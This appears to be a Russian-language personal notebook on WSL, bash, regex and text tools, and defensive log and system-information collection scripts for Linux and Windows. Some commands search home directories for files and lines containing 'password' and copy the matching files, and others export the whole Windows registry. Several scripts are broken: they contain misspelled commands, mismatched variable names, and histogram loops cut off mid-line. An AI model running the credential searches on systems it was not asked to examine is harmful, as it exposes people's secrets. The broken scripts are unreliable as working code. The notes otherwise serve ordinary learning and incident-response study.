wsl
0. Установка WSL (всё одной командой)
wsl —install
1. WSL 1 или WSL 2?
wsl —set-default-version 2
| | WSL 1 | WSL 2 |
|--------------------|---------------------------|-------|
| Ядро | Эмуляция | Реальное Linux-ядро
| Производительность | Быстрее на Windows-диске | Лучше на Linux-утилитах
| Совместимость | Ограниченная | Почти 100% |
| Поддержка Docker | x | y
| GUI-приложения | x | y (в Windows 11)
2. Работа с файлами и системами
Доступ к Windows-дискам: /mnt/c/Users/...
Поддержка Git, Python, Node, npm, pip, apt
3. Можно запускать команды Windows внутри Linux и наоборот:
notepad.exe test.txt
4. Настройка терминала
Установи Windows Terminal из Microsoft Store — это красивый и мощный терминал с вкладками, шрифтами и темами.
5. Обновление WSL и Linux-дистрибуции
wsl —update
wsl —shutdown
6. Внутри Ubuntu:
sudo apt update && sudo apt upgrade -y
7. Установка других дистрибутивов
WSL поддерживает Ubuntu, Debian, Kali, Arch, SUSE и другие:
wsl —list —online
wsl —install —distribution Debian
8. Поддержка GUI и Docker
В Windows 11 WSL 2 поддерживает графические приложения Linux из коробки (через WSLg).
Docker Desktop работает напрямую с WSL 2 — больше не нужны громоздкие VM.
9. Дополнительные фичи
.wslconfig для настройки ресурсов (CPU, RAM, swap)
Автоматический mount директорий
Работа с systemd, crontab, background-сервисами (в новых версиях)
Основы:
Командная строка - это общий термин, относящимся к средствам,
передающим команды в интерактивную систему компьютера.
Создать директорию:
mkdir -p /tmp/fff
Тип файла:
type -t if
type -t pwd
type -t ls
Посмотреть какие команды встроены в интерпретатор:
compgen -k
compgen -c
compgen -b
Стандартный ввод / вывод / ошибки
0 - Стандартный ввод (stdin) — поток данных, который программа получает на вход (по умолчанию — клавиатура).
1 - Стандартный вывод (stdout) — поток, в который программа записывает результаты (по умолчанию — терминал).
2 - Стандартный поток ошибок (stderr) — поток, куда выводятся сообщения об ошибках (по умолчанию — терминал).
Перенаправление stdout:
Оператор > позволяет записать вывод команды в файл. Если файл существует, он будет перезаписан.
ls > output.txt
Оператор >> добавляет вывод в конец файла, не перезаписывая его.
echo "Hello" >> output.txt
Чтобы перенаправить поток ошибок в файл, используется 2>.
ls /nonexistent 2> errors.txt
2>> добавляет ошибки в конец файла:
ls /nonexistent 2>> errors.txt
Игнорирование ошибок:
command 2> /dev/null
Запись вывода и ошибок в один файл:
command > output.txt 2>&1
Раздельная запись stdout и stderr:
command > output.txt 2> errors.txt
Отправка всех данных в «черную дыру»:
command > /dev/null 2>&1
Сделать все одной строкой:
prog < data.in > result.out 2> errr.msg
Иногда требуется что бы программа выводила ошибки и вывод в один файл (обычный вывод программы)
prog < data.in > result.out 2>&1
Выполнение команд в фоновом режиме:
ping 192.168.10.56 > ping.log &
ping 192.168.10.56 &> ping.log &
jobs
fg 1
crtrl+z
Скрипты
#!/bin/bash - шабанг, первая строка любого скрипта на баш
#!/usr/bin/env bash - или такой шабанг(первая строка) позволит найти путь для баша
bash myscript
chmod 755 myscript
./myscript
Основы работы:
echo "Hello world"
printf "Hello world\n"
Переменные:
MYVAR=textmyvar
echo $MYVAR
Если вы хотите присвоить переменной и сохранить последовательность слов, пробелов и спец символов:
MYVAR='here is a longer set of worlds'
OTHVAR="either double or single quotes will work"
Двойные кавычки позволит выполнять другие элементы внутри строки:
FIRSTVAR=beginning
SECONDVAR="this is just the $FIRSTVAR"
echo $SECONDVAR
echo ${SECONDVAR}
!!! Помните что при использовании двойных кавычек (") любые замены, начинающиеся с $,
все равно выполняются, а если значения находятся внутри одинарных кавычек ('), никаких замен не будет.
Сохранить вывод, полученный командной оболочки, с помощью символа $():
CMDOUT=$(pwd)
Позиционные параметры:
$# - возвращает общие кол-во параметров
$0 - имя скрипта
$1 - первый параметр
$2 - второй параметр
$3 - третий параметр
#!/bin/bash
#echoparms.sh
echo $#
echo $0
echo $1
echo $2
echo $3
Условия:
Успешное выполнение скрипта возвращает 0.
Возвращаемое значение 0 считается success или true.
Для того что бы увидеть как выполнилась команда, нужно посмотреть переменную $?:
echo $?
Пример условий if:
if cmd
then
some cmds
else
other cmds
fi
Если каталог /tmp есть(в него возможен переход) то будет возращено 0 и выполнена команда ls:
if cd /tmp
then
echo "her eis what is in /tmp:"
ls -l
fi
Пример конвейера if:
if ls | grep pdf
then
echo "found more pdf"
else
echo "no found pdf"
fi
Но есть нюанс если использовать с wc в конвейере:
ls | grep pdf | wc
Будет всегда возращено 0
Команда test и [, проверка атрибутов файлов или сравнения значений.
Проверка файлов и каталогов:
-d - проверка существования каталога
-у - проверка существования файла
-r - проверка существования файла и доступен ли он для чтения
-w - проверка существования файла и доступен ли файл для записи
-x - проверка существования файла и можно ли файл выполнить
Проверка существования файла:
if [[ -e $FILENAME ]]
then
echo $FILENAME exists
fi
Сравнение файлов или переменных:
-eq - тест на равенство
-gt - проверка, больше ли одно число, чем другое
-lt - проверка, меньше ли одно число, чем другое
Проверка меньше ли $VAL чем $MIN
if [[ $VAL -lt $MIN ]]
then
echo "value is to small"
fi
!!! Внимание, да можно использовать знаки больше или меньше, но эффект может быть не ожиданым
!!! Так что рекомендуется использовать -eq, -gt, -lt
!!! Но если хочется, то можно использовать специальную математическую конструкцию из скобок (( ))
!!! Оператор $ не требуется в этой конструкции
if (( VAL < 12 ))
then
echo "value $VAL is to small"
fi
Последовательное выполнение команд с использование оператора ;
Пример:
cd $DIR; ls
Специальная команда &&, если первая команда выполнилась успешно, то дальше будет выполнятся следующая команда:
cd /etc/ && ls /etc && ls /etc/ | wc
Специальная команда ||, если первая команда не выполнилась успешно то выполнится следующая команда.
Команды [[ можно выполнять без конструкции if
[[ -d $DIR ]] && ls "$DIR"
Аналог вот такой записи:
if [[ -d $DIR ]]
then
ls "$DIR"
fi
Вот еще примеры:
[[ -d $DIR ]] || echo "err: no such directory: $DIR"; exit
[[ -d $DIR ]] || { echo "err: no such directory: $DIR" ; exit; }
Циклы while ( пока i меньше 1000, выполняем цикл)
i=0
while (( i < 1000))
do
echo $i
let i++
done
Цикл while выполняет команды как часть своего условия:
while ls | grep -q pdf
do
echo -n 'there is a file with pdf in lts name here:'
pwd
cd ..
done
Циклы for:
for ((i=0; i < 100; i++))
do
echo $i
done
Еще for:
./args.sh bash is fun
for ARG
do
echo here is an argument: $ARG
done
Еще far список:
for VAL in 20 3 dog peach 7 vanilla
do
echo $VAL
done
Еще список можно генерировать используя другие программы, пример:
for VAL in $(ls | grep pdf) {0..5}
do
echo $VAL
done
Функции и свои функции:
function myfun ()
{
# это тело функции
}
Выполнение своей функции:
myfun
Шаблоны подстановки и перечисление / wildcarding
Символ "звездочка" (*) является шаблоном для любого количества любых символов в именах файлов и даже для их отсутствия.
Единственный символ, который не удовлетворяет этому шаблону, — лидирующая точка в именах скрытых файлов.
Таким образом, подставив звездочку в качестве аргумента команде echo, мы либо увидим в результате саму звездочку,
если в каталоге нет файлов, либо оболочка подставит команде echo имена всех файлов в каталоге в командную строку.
Имеются особенные имена файлов, начинающиеся с точки, например, .bashrc.
Такие файлы называются скрытыми, т. к. их имена не выводятся командой ls без специальных опций.
Шаблоном для имен скрытых файлов является .* (точка и звездочка).
Вообще, любые шаблоны для скрытых файлов должны начинаться с символа "точка".
Символ ? заменяет один символ в имени файла, который должен находиться в той позиции, где находится знак вопроса.
В примере "echo .??????" получен список скрытых файлов (имена начинаются с точки), в именах которых после точки имеется шесть любых символов.
Для того чтобы указать допустимый диапазон символов в шаблоне, необходимо использовать квадратные скобки, а в них — требуемый диапазон.
Например, [0-9] — шаблон подходит для любых цифр, а [a-zA-Z], шаблон для букв английского.
echo .[bcd]*
Если необходимо указать набор символов, не входящих во множество, следует установить знак восклицания после открывающей скобки.
Например, [!abc] — множество любых символов, кроме a, b или c.
Очень удобен, хотя и не относится к шаблонам, механизм перечисления Bash.
Он позволяет задать множество вариантов, которое должна перебрать оболочка, составляя последовательно все варианты, заданные в фигурных скобках
echo .bash{rc,_profile}
точка . - любой один символ
? - любой один символ
* - любое кол-во символов
а* - a, ab, abc и aecjejich
^ - начало строки
$ - конец строки
^а - Любое «а», находящееся в начале строки
*а$ - Любое «а», находящееся в конце строки
а.с - Трехсимвольные строки, начинающиеся с «а» и заканчивающиеся на «с»
[] - диапазон
[^a] - прикол в таких скобках с "^" все что угодно только не "a"
[^0-9]
[^[:alnun:]]
[bcf]at - bat, cat или fat
[a-d]at - aat, bat, cat, dat, но не Aat, Bat и т. д.
[A-D]at - Aat, Bat, Cat и Dat, но не aat, bat и т. д.
1[3-5]7 - 137,147 и 157
[0-9] [[:digit:]] \d \D
[a-z]
[A-Z]
[a-zA-Z0-9]
[[:alnun:]] \w \W
[[:space:]] \s \S
[A-Z] - большие буквы
[0-9] - цифры
[a-z] - мелкие буквы
[A-Za-z]
www\.[a-z]*\.com
[:alnum:] - алфавитно цифровой
[:alpha:] - Буквенный
[:ascii:] - ASCII
[:blank:] - пробел и символ табуляции
[:ctrl:] - управляющий символ
[:digit:] - число
[:graph:] - все что угодно, кроме управляющих символов и пробелов
[:lower:] - символы в нижнем регистре
[:print:] - все кроме управляющих символов
[:punct:] - символы пунктуации
[:space:] - пробелы, включая разрывы строк
[:upper:] - символы в верхнем регистре
[:world:] - буквы, цифры и символы подчеркивания
[:xdigit:] - шестнадцатеричный символ
d{n,m} - квантификатор
{} - последовательность
touch {6,7,8}.txt - последовательно создаст файлы 6.txt, 7.txt, 8.txt
grep -E '[0-9]{1,3}'
\tHello - Символ табуляции, предшествующий слову hello
\[tT][xX][Tt] - .txt, .TXT, .TxT или другие сочетания на основе изменения регистра
\n - новая строка
\r - символ возврата
Мата символ *
Некоторые мета символы сами по себе не соответствуют ничему, но изменяют значение предыдущего символа.
Один из таких символов, это * (звездочка), который используется для сопоставления нулевому или большему
числу повторений предшествующего символа. Заметьте, это значит, что * имеет другое значение в регулярках,
нежели в глоббинге. Вот несколько примеров, и обратите особое внимание на те случаи где сопоставление
регулярных выражений отличается от glob-подстановок:
ab*c совпадает с «abbbbc», но не с «abqc» (в случае glob-подстановки, обе строчки будут удовлетворять шаблону. Вы уже поняли почему?)
ab*c совпадает с «abc», но не с «abbqbbc» (опять же, при glob-подстановке, шаблон сопоставим с обоими строчками)
ab*c совпадает с «ac», но не с «cba» (в случае глоббинга, ни «ac», ни «cba» не удовлетворяют шаблону)
b[cq]*e совпадает с «bqe» и с «be» (glob-подстановке удовлетворяет «bqe», но не «be»)
b[cq]*e совпадает с «bccqqe», но не с «bccc» (при глоббинге шаблон точно так же совпадет с первым, но не со вторым)
b[cq]*e совпадает с «bqqcce», но не с «cqe» (так же и при glob-подстановке)
b[cq]*e удовлетворяет «bbbeee» (но не в случае глоббинга)
.* сопоставим с любой строкой (glob-подстановке удовлетворяют только строки начинающиеся с ".")
foo.* совпадет с любой подстрокой начинающийся с «foo» (в случае glob-подстановки
этот шаблон будет совпадать со строками, начинающимися с четырех символов «foo.»)
Итак, повторим для закрепления: строчка «ac» подходит под регулярное выражение «ab*c» потому,
что звездочка также позволяет повторение предшествующего выражения (b) ноль раз. И опять, ценно отметить для себя,
что мета символ * в регулярках интерпретируется совершенно иначе, нежели символ * в glob-подстановках.
Регулярные выражения:
grep
-c - вывести кол-во строк, соответствующего шаблону
-E - включить расширенное регулярное выражение
-f - читать шаблон поиска, находящийся в предоставленном файле
-i - игнорировать регистр символов
-l - вывести только имя файла и путь, по которому был найден шаблон
-n - вывести номер строки файла, в которой был найден шаблон
-P - включить механизм регулярных выражений Perl
-R, -r - выполнить рекурсивный поиск подкаталогов
Пример:
grep -R -i 'password' /home
egrep это grep -E
Пример текса file.txt для работы с grep:
1 Two roads diverged in a yellow wood,
2 And sorry I cloud not travel both
3 And be one traveler, long I stood
4 And looked down one as far as I could
5 To where it bent in the undergrowth;
6
7 Excerpt from The Road Not Taken by Robert Frost
8 User: XTjon
9 XWING model 7
10 an an an
Метасимвол .
В регулярных выражения точка (.), представляет собой один символ подстановки
grep 'T.o' file.txt
Если требуется отобразить точку, не как любой символ, нужно перед ним поставить обратный слеш (\), так (\.)
Метасимвол ?
В регулярном выражении знак вопроса (?) делает любой предшествующей ему символ необязательным,
символ сопоставляется один раз, а дальше игнорируется.
egrep 'T.?o' file.txt
Метасимвол *
В регулярных выражениях звездочка (*) - это специальный символ,
который соответствует предыдущему элементу неограниченное кол-во раз.
grep 'T.*o' file.txt
Метасимвол +
Метасимвол плюс (+) работает так же, как и *, за исключением того,
что предыдущий ему элемент должен встретиться хотя бы однажды.
egrep 'T.+o' file.txt
Группирование
Для группирования символов можно использовать скобки.
egrep 'And be one (stranger|traveler), long I stood' file.txt
Квадратные скобки и классы символов
[abc] - соответствует только символу a, или b, или c
[1-5] - соответствует цифрам от 1 до 5
[a-zA-Z] - соответствует любым символа от a до z
[0-9+-*/] - соответствует числам или любым четырем указанным математическим символам
[0-9a-fA-F] - соответствует шестнадцатеричному символу
\s - пробельный символ
\S - не пробельный символ
\d - цифровой символ
\D - не цифровой символ
\w - слово
\W - не слово
\x - шестнадцатеричное число (например, 0x5F)
!!! Обратите внимания эти сокращения работаю только с опцией -P, Perl
grep -P '\d' file.txt
[:alnum:] - алфавитно цифровой
[:alpha:] - Буквенный
[:ascii:] - ASCII
[:blank:] - пробел и символ табуляции
[:ctrl:] - управляющий символ
[:digit:] - число
[:graph:] - все что угодно, кроме управляющих символов и пробелов
[:lower:] - символы в нижнем регистре
[:print:] - все кроме управляющих символов
[:punct:] - символы пунктуации
[:space:] - пробелы, включая разрывы строк
[:upper:] - символы в верхнем регистре
[:world:] - буквы, цифры и символы подчеркивания
[:xdigit:] - шестнадцатеричный символ
grep 'X[[:upper:][:digit:]]' file.txt
Обратные ссылки:
tags.txt
Commmand
line
is
great
!
Пример вытаскиваем код:
egrep '<([A-Za-z]*)>.*\1>' tags.txt
Якоря и границы слов:
Символ каретки (^) предназначен для привязки шаблона к началу строки.
Символ доллар $ используется для привязки шаблона к концу последовательности строки.
Сайты для работы с регулярками:
http://www.rexegg.com
https://regex101.com
https://www.regextester.com
http://www.regular-expressions.info
cut
cut - используется для извлечения частей файла
-c - символ для извлечения
-d - символ, используемый в качестве разделителя полей, по умолчанию символ табуляции.
-f - поля для извлечения
Пример:
cutefile.txt
12/05/2025 10.33.66.3 test.html
12/05/2025 17.14.13.3 loging.html
cut -d' ' -f2 cutefile.txt
file
file - используется для идентификации типа файла
-f - читать список файлов для анализа из данного файла
-k - не останавливается на первом совпадении, перечислить все
-z - просмотреть сжатые файлы
Пример:
file filename.un
head
head - отобразит несколько первых строк или бит, по умолчанию 10
-n - кол-во строк
-c - количество байтов
reg
reg - используется в winpws, для работы с реестром
add - добавить запись в реестор
export - копировать указанные записи реестра в файл
query - возвратить список подразделов ниже указанного пути
Пример:
reg query HKEY_LOCAL_MACHINE
wevtutil
wevtutil - просмотр системных журналов в windows
el - перечислить доступные журналы
qe - запросить события журнала
Общие команды:
/c - максимальное событие для чтения
/f - форматирование вывода в виде текста или XML
/rd - если установлено в true то сначала прочитать свежие события
Примеры
wevtutil el
wevtutil qe System //c:1 //rd:true
wevtutil qe System /c:1 /rd:true
Собираем файлы журнала Linux
tar -czf ${HOSTNAME}_logs.tar.gz /var/log
Параметры:
-c - create - создание для создания архивного файла
-z - zip - архивирование
-f - file - указание имени файла
${HOSTNAME} - переменная баш, текущие имя хоста
Логи:
/var/log/apache2/ - журналы доступа и ошибок для вебсервера apache2
/var/log/auth.log - сведения о входе пользователя в систему, привилегии доступа и удаленная проверка подлинности
/var/log/kern.log - журнал ядра
/var/log/messages - общая не критическая системная информация
/var/log/syslog - общие системные журналы
конфиги:
/etc/syslog.conf
/etc/rsyslog.conf
Собираем файлы журналов Windows
Для скрипта на баш используется git bash.
Пример скрипта:
#!/bin/bash
#
# winlogs.sh
# Описание:
# Собираем логи windows
# Использование:
# winlogs.sh [-z]
# -z заархивировать вывод
#
TGZ=0
if (( $# > 0 ))
then
if [[ ${1:0:2} == '-z']]
then
TGZ=1
shift
f1
SYSMAN=$(hostname)
LOGDIR=${1:-/tmp/${SYSMAN}_logs}
mkdir -p $LOGDIR
cd ${LOGDIR} || exit -2
wevtutil el | while read ALOG
do
ALOG="${ALOG%$'\r'}"
echo "${ALOG}:"
SAFNAM="${ALOG// /_}"
SAFNAM="${SAFNAM//\//-}"
wevutil epl "$ALOG" "${SYSNAM}_${SAFNAM}.evtx"
done
if (( TGZ == 1 ))
then
tar -czvf ${SYSNAM}_logs.tgz *.evtx
fi
Сбор информации о системе
linux bash windows git bash Что?
uname -a uname -a Показать информацию о версии ОС
cat /proc/cpuinfo systeminfo Вывести сведения о системном оборудовании и связанную информацию
ifconfig ipconfig Вывести информацию о сетевом интерфейсе
route route print Показать таблицу маршрутизации
arp -a arp -a Вывести таблицу ARP ( протокол определения адреса)
netstat -a netstat -a Отобразить сетевые подключения
mount net share Вывести информацию о файловых системах
ps -e tasklist Отобразить запущенные процессы
файл cmds.txt
# Linux Command | MSWin Bash | XML tag | Purpose
#-----------------+-------------+-----------+------------------
uname -a | uname -a | uname | O.S. ver
cat /proc/cpuinfo | systeminfo | sysinfo | sysinfo
ifocnfig | ipconfig | interface | Network info
ip -a | ipconfig | interface | Network info
route | route print | nroute | routing table
arp -a | arp -a | narp | arp table
netstat -a | netstat -a | netstat | network connection
ss -a | netstat -a | netstat | network connection
mount | net share | diskinfo | mounter disk
ps -e | task list | processes | running processes
Сценарий определения типа OS
getlocal.sh
#!/bin/bash
#
# Описание:
# Собираем основную информацию о системе и сбрасываем в файл
# Использование:
# getlocal.sh < cmds.txt
# cmds < этот файл со списком команд для выполнения
#
# SepCmds - отделение команд от строки ввода
function SepCmds()
{
LCMD=${ALINE%%|*}
REST=${ALINE#*|}
WCMD=${REST%%|*}
REST=${RST#*|}
TAG=${REST%%|*}
if [[ $OSTYPE == "WsWin" ]]
then
CMD="$WCMD"
else
CMD="$LCMD"
fi
}
function DumpInfo()
{
printf 'systeminfo host="%s" type="%s"' "$HOSTNAME" "$OSTYPE"
printf ' date="%s" time="%s">\n' "$(date '+%F')" "$(date '+%T')"
readarray CMDS
for ALINE in "${CMDS[@]}"
do
# игнорировать комментарии
if [[ ${ALINE:0:1} == '#' ]] ; then continue ; fi
SepCmds
if [[ ${CMD:0:3} == N/A ]]
then
continue
else
printf "<%s>\n" $TAG
$CMD
printf "%s>\n" $TAG
fi
done
printf "\n"
}
OSTYPE=$(./osdetect.sh)
HOSTNM=$(hostname)
TMPFILE="${hostname}.info"
# сбор информации
DumpInfo > $TMPFILE 2>&1
Сбор данных о реестре Windows
Экспорт всего реестра:
regedit //E ${HOSTNAME}_reg.bak
Экспорт раздела:
reg export HKEY_LOCAL_MACHINE $(HOSTNAME)_hklm.bak
Поиск файлов в системе:
find
grep
find /home -name '*password*'
find /home -name '*password*' 2>/dev/null
Поиск скрытых файлов в linux:
find /home -name '.*'
Поиск скрытых файлов в windows:
dir c:\ /S /A:H
Поиск и запуск команды:
find /c -exec attrib '{}' \; | egrep '^.{4}H.*'
Найти и показать путь к файлу:
find . -exec attrib '{}' \; | egrep '^.{4}H.*' | cut -c22-
Поиск по размеру файла:
find /home -size +5G
Чтобы определить самые большие файлы в системе:
find /type f -exec ls -s '{}' \; | sort -n -r | head -5
Предположим, что вы только что выполнили следующую команду:
find / -type f -exec ls -s '{}' \;
Затем чтобы снова запустить ее или передать в конвейер, вы можете использовать символы !!:
!! | sort -n -r | head -5
Можно найти большой файл не используя find:
ls / -R -s | sort -n -r | head -5
Поиск по времени:
Менее 5 мин:
find /home -nmin -5
Менее 24 часов:
find /home -mtime -1
Менее 48 часов:
find /home -mtime +2
Доступ к файлу менее 24 часов
find /home -atime -1
Для поиска файлов в каталоге, доступных менее 24 часов и копирования каждого файла в текущий каталог "./":
find /home -type f -atime -1 -exec cp '{}' ./ \;
Поиск контента:
Найти строку 'password':
grep -i -r /home -e 'password'
Комбинирование команды find и grep:
find /home -type f -exec grep 'password' '{}' \; -exec cp '{}' . \;
Поиск по типу файла:
file title.png
Сценарий typesearch.sh
#!/bin/bash
# Описание:
# Поиск в файловой системе файлов указанного типа.
# Выводим путь, когда найдем
# Использование:
# typesearch.sh [-c dir] [-i] [-R|r]
# -c Копировать найденные файлы в каталог
# -i Игнорировать регистр
# -R|r Рекурсивный поиск подкаталогов
# Шаблон типа файла для поиска
# Путь для начала поиска
DEEPPORNOT="-maxdepth 1" # только текущий каталог; по умолчанию
while getopts 'c:irR' opt; do
case "${opt}" in
c) # копировать найденные файлы в указанный каталог
COPY=YES
DISTDIR="$OPTARG"
;;
i) # игнорировать регистр при поиске
CASEMATCH='-1'
;;
[Rr]) # рекурсивно
unset DEEPPORNOT;;
*) # неизвестный/неподдерживаемый вариант
# при получении ошибки mesg от gretops просто выйти
exit 2;;
esac
done
shift $((OPTIND -1))
PATTERN=${1;-PDF document}
STARTDIR=${2:-.} # по умолчанию начать здесь
find $STARTDIR $DEEPORNOT -type f | while read FN
do
file $FN | egrep -q $CASEMATCH "$PATTRERN"
if (( $? ==0 )) # найден один
then
echo $FN
if [[ $COPY ]]
then
cp -p $FN $DESTDIR
fi
fi
done
Поиск по хеш-значению
hashsearch.sh
#!/bin/bash
# Описание:
# В указанном каталога выполняем рекурсивный поиск
# файла по заданному SHA-1
# Использование:
# hashsearch.sh
# hash - значение хеша SHA-1 разыскиваемого файла
# directory - каталог для поиска
HASH=$1
DIR=${2:-.} # cmd, по умолчанию это сдесь
# конвертируем путь в абсолютный
function mkabspath()
{
if [[ $1 == /* ]]
then
ABS=$1
else
ABS="$PWD/$1"
fi
}
find $DIR -type f |
while read fn
do
THISONE=$(sha1sum "$fn")
THISONE=${THISONE%% *}
if [[ $THISONE == $HASH ]]
then
mkabspath "$fn"
echo $ABS
fi
done
Обработка данных:
sed
tail
tr
файл awkuser.txt:
Mike Jones
John Smith
Kathy Jones
Jane Kennedy
Tim Scott
awk - фактически комбайн для обработки текста
-f - читать указанный файл
$0 - вся строка
$1 - первое слово
$2 - второе слово
$N - и т.д.
Пример:
awk '$2 == "jones" {print $0}' awkusers.txt
файл username.txt:
1,jdoe
2,puser
3,jsmith
файл accesstime.txt:
0745,file1.txt,1
0830,file3.txt,2
0830,file22.txt,3
join - объединяет строки из двух фалов с общими полями
-j - использовать указанный номер поля. Поля начинаются с 1
-t - символ, который будет использоваться в качестве разделителя
--header - использовать в качестве заголовка
Пример:
join -1 3 -2 1 -t, accesstime.txt username.txt
файл ips.txt
ip,OS
10.0.4.2,Windows 8
10.0.4.35,Ubuntu 16
10.0.4.107,macOS
10.0.4.145,macOS
sed - редактирование и замена текста в потоке файлов
Пример:
sed 's/10\.0\.0.\.35/10.0.4.27/g' ips.txt
tail - вывод последних строк файла
-f - выполнять постоянный мониторинг файлов и выходных строк по мере их добавления.
-n - вывести указанное кол-во строк
Пример:
tail -n 1 ips.txt
tr - преобразование одного символа в другой или отображения замещающего символа.
-d - удалить указанные знаки из входного потока
-s - уплотнить, то есть заменить повторяющиеся экземпляры символа одним экземпляром
Пример:
tr '\\:' '/|' < infile.txt > outfile.txt
Пример файла csvex.txt
"name","username","phone","password hash"
"john Smith", "jsmith","545-555-1212",234u923923u9u9fho8fgw87g8w7
"Bill Smith", "bsmith","555-555-1512",s99ds9uewurwyroyrdsyhfdishf
"Jane Smith", "jsmith","155-555-1212",qwepiju0sdfjm238rh30r8j2p0w
"john LAH", "bjones","525-555-1212",odjfohsohfio7bhbfsodsbodfsbds
"Yohn Ymith", "ymith","355-555-1212",kdskldfsdshuidyusbhudshdfsy3
cut - используется для извлечения из входного файла или потока,
полей разделенных указанным символом. (попробуйте echo 'abc def ghi jkl' | cut -d ' ' -f2,2 прим. пер.)
cut - показать содержимое вырезав символы
cut -c 1,4,7 name.txt - показать содержимое вырезав символы
cat /etc/passwd | cut -f 1,3,6 -d ':' - показать содержимое 1,3,6 столбика вырезав 2,4,5 разделенные символом ':'
Примеры:
cut -d',' -f1 csvex.txt
cut -d',' -f1 csvex.txt | tr -d '"'
cut -d',' -f1 csvex.txt | tr -d '"' | tail -n +2
awk -F "," '{print $4}' csvex.txt
grep "$(awk -F "," '{print $4}' csvex.txt)" passwords.txt
cut -d',' -f3 csvex.txt | cut -c2-13 | tail -n +2
grep -o '.*<\/firstName>' book.xml
grep -Pzo '(?s).*?<\/author>' book.xml
grep -Po '.?<\/firstName>' book.xml | sed 's/<[^>]*>//g'
grep -o '"firstName": ".*"' book.json
grep -o '"firstName": ".*"' book.json | cut -d " " -f2 | tr -d '\"'
jq - это мощный легкий и JSON-анализатор
jq '.title' book.json
jq '.authors[].firstName' book.json
Агрегирование данных:
find /data -type f -exec grep '{}' -e 'ProductionWebServer' \;
-exec cat '{}' >> ProductionWebServerAgg.txt \;
join -t, -2 2 ips.txt user.txt
Ссылка:
https://rapidcyberops.com/
Анализ данных:
sort - сортировка текстового файла
-r - сортировка по убыванию
-f - игнорировать регистр
-n - использовать числовой порядок 1, 2, 3 и т.д.
-k - сортировать на основе подмножества данных (ключа) в строке
-o - записать вывод в указанный файл
-u - фильтр уникальности
Пример:
sort -k 3 file1.txt
sort -k 2.5,2.7 file1.txt
uniq - отфильтровать повторяющиеся строки
-c - вывести, сколько раз повторяется строка
-f - перед сравнением проигнорировать указанное кол-во полей
-i - игнорировать регистр букв
Ознакомление с журналом доступа к веб серверу Apache2
CLF - Combined Log Format
cat access.log
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET / HTTP/1.1" 200 3380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /icons/openlogo-75.png HTTP/1.1" 200 6040 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /favicon.ico HTTP/1.1" 404 492 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
Что мы видим:
Поле Значение Описание
1 192.168.15.53 ip хоста который запросил страницу у веб сервера
2 - идентификатор протокола RFC 1413 (-, если его нет)
3 - идентификатор пользователя с проверкой подлинности HTTP (-, если его нет)
4 [11/Jul/2025:15:09:25 +0300] Смещение даты, времени и GMT (часовой пояс)
5 GET / Страница которая была запрошена
6 HTTP/1.1 Версия протокола HTTP
7 200 Код состояния, возвращаемый веб-сервер
8 3380 Размер возвращаемого файла в байтах
9 - Ссылающаяся страница
10 Mozilla/5.0 Браузер
Коды:
200 - OK - Хорошо
401 - Unauthorized - Не авторизован \ не предоставляется
404 - Page Not Found - Страница не найдена
500 - Internal Server Error - Внутренняя ошибка сервера
502 - Bad Gateway - Плохой, ошибочный шлюз
Ссылки:
https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
https://httpd.apache.org/docs/2.4/logs.html
cat /var/log/apache2/access.log | sort -k2.1 -rn | head -15
Подсчет количества обращений к данным:
cat countem.sh
#!/bin/bash -
#
# Описание:
# Подсчет количества экземпляров элемента с помощью bash
# Использование:
# countem.sh < inputfile
declare -A cnt # ассоциативный массив
while read id xtra
do
let cnt[$id]++
done
# вывести то, что мы подсчитали
# для каждого ключа в ассоциативном массиве в виде (ключ, значение)
for id in "${!cnt[@]}"
do
printf '%d %s\n' "${cnt[$id]}" "$id"
done
Пример countem.awk:
# countem.awk
# Описание:
# Подсчет количество экземпляров элемента с помощью команды awk
# Использование:
# countem.awk < inputfile
awk '{ cnt[$1]++ }
END {for (id in cnt) {
printf "%d %s\n", cnt[id], id
}
}'
Оба сценария хорошо будут работать в конвейере:
cut -d' ' -f1 logfile | bash countem.sh
bash countem.sh < logfile
awk '$9 == 404 {print $1}' access.log | bash countem.sh
cut -d' ' -f1 access.log | bash countem.sh | sort -rn
P.S. Но все это круто конечно, юзать скрипты, но проще воспользоваться программами linux
cut -d' ' -f1 access.log | sort | unic -c | sort -rn
cut -d' ' -f1 access.log | sort -urn
Суммирование чисел и данных:
cat summer.sh
#!/bin/bash -
#
# Описание:
# Суммировать итоговое значение поля 2 для каждого уникального поля 1
# Использование: ./summer.sh
# Формат ввода:
declare -A cnt # ассоциативный массив
while read id count
do
let cnt[$id]+=$count
done
for id in "${!cnt[@]}"
do
printf "%-15s %8d\n" "${id}" "${cnt[${id}]}"
done
Использование:
cut -d' ' -f1,10 access.log | bash summer.sh | sort -k 2.1 -rn
Скрипт отображение данных в виде гистограммы:
histogram.sh
#!/bin/bash -
#
# Описание:
# Создание горизонтальной гистограммы с указанным данными
# Использование: ./historgram.sh
# Формата ввода: label value
function pr_bar()
{
local -i i raw maxraw scaled
raw=$1
maxraw=$2
((scaled=(MAXBAR*raw)/maxraw))
# гарантированный минимальный размер
((raw > 0 && scaled ==0)) && scaled=1
for((i=0; i max )) && max=$val
done
# масштабировать и вести
for labl in "${!RA[@]}"
do
printf '%-20.20s ' "$labl"
pr_bar ${RA[$labl]} $max
done
Пример:
cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh
Скрипт отображение данных в виде гистограммы для старых систем и macos:
histogram_plain.sh
#!/bin/bash -
#
# Описание:
# Создание горизонтальной гистограммы с указанным данными
# Использование: ./histogram_plain
# Формата ввода: label value
declare -a RA_key RA_val
declare -i max ndx
max=0
maxbar=50
ndx=0
while read labl val
do
RA_key[$ndx]=$labl
RA_value[$ndx]=$val
# сохранить наибольшее значение; для масштабирования
(( val > max )) && max=$val
let ndx++
done
# масштабировать и вывести
for ((j=0; j
Мониторинг журналов в режиме реального времени:
tail -f /var/log/apache2/access.log
